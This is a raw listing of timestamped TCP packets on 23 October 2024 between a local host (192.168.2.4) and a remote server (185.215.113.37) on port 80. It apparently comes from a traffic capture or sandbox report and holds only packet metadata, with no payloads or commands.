Oct 23, 2024 15:48:11.763513088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763529062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763549089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763561964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763597012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763607025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763641119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763647079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763681889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763688087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763716936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763729095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763752937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763765097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763787985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763799906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763823986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763840914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763856888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763873100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763891935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763899088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763933897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763941050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763977051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763981104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764014959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764028072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764061928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764065027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764103889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764111996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764147043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764157057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764197111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764198065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764247894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764262915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764296055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764301062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764347076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764352083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764401913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764403105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764436960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764447927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764471054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764481068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764506102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764514923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764539957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764549971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764575958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764588118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764610052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764636040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764643908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764647961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764678001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764712095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764719963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764745951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764753103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764784098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764789104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764817953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764828920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764853954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764862061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764888048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764899969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764924049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764928102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.764975071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.764986038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765008926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765039921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765058994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765062094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765111923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765114069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765146017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765183926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765197992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765197992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765232086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765264034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765285015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765288115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765327930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765336037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765371084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765419960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765459061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765471935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765494108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765527964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765561104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765595913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765620947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765630007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765635014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765665054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765700102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765717030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765733004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765738010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765768051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765774965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765801907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765813112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765845060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765846968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765878916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765886068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765913010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765922070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765949965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765955925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.765985966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.765994072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766021013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766031981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766056061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766064882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766097069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766098976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766135931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766141891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766170979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766176939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766223907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766227007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766262054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766272068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766299009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766309977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766334057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766343117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766369104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766381025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766403913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766412973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766438007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766448975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766472101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766484976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766506910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766515017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766541958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766551971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766577005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766582966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766612053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766621113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766647100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766654015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766681910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766689062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766720057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766724110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766747952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766760111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766763926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766779900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766784906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766796112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766805887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766812086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766824961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766828060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766841888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766843081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766859055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766861916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766869068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766875029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766887903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766891003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766906023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766906977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766915083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766921997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766935110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766937971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766947031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766953945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766963959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766972065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766982079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.766989946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.766999960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.767024994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.767030954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.767049074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.767051935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.767066002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.767067909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.767081976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.767092943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.767100096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.767100096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.767117977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.767122030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.767136097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.767139912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.767153978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.767163992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.767172098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.767187119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.767190933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.767204046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.767210007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.767232895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.767245054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.913784981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.913855076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.913871050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.913893938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.913899899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.913932085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.913945913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.913974047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.913984060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914020061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914036036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914055109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914062977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914092064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914105892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914136887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914141893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914191008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914192915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914242029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914244890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914279938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914295912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914324999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914330959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914378881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914381981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914419889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914438009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914468050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914469004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914501905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914518118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914551973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914560080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914592981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914611101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914628983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914639950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914663076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914676905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914710045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914714098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914760113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914763927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914813042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914815903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914848089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914868116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914881945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914890051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914916992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914930105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914951086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914967060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.914985895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.914999962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915035963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915036917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915080070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915086985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915121078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915133953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915158033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915172100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915220022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915222883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915256977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915272951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915296078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915299892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915345907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915352106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915389061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915400028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915421963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915435076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915469885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915477037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915509939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915544033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915544033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915568113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915580988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915589094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915616989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915628910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915647030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915663004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915680885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915698051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915718079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915728092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915766954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915769100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915813923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915819883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915853977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915868998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915889025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915901899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915923119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915925980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915957928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.915966988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.915993929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.916004896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.916033030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.916042089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.916066885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.916079998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.916117907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.916119099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.916151047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.916165113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.916188955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.916193962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.916235924 CEST	49730	80	192.168.2.4	185.215.113.37
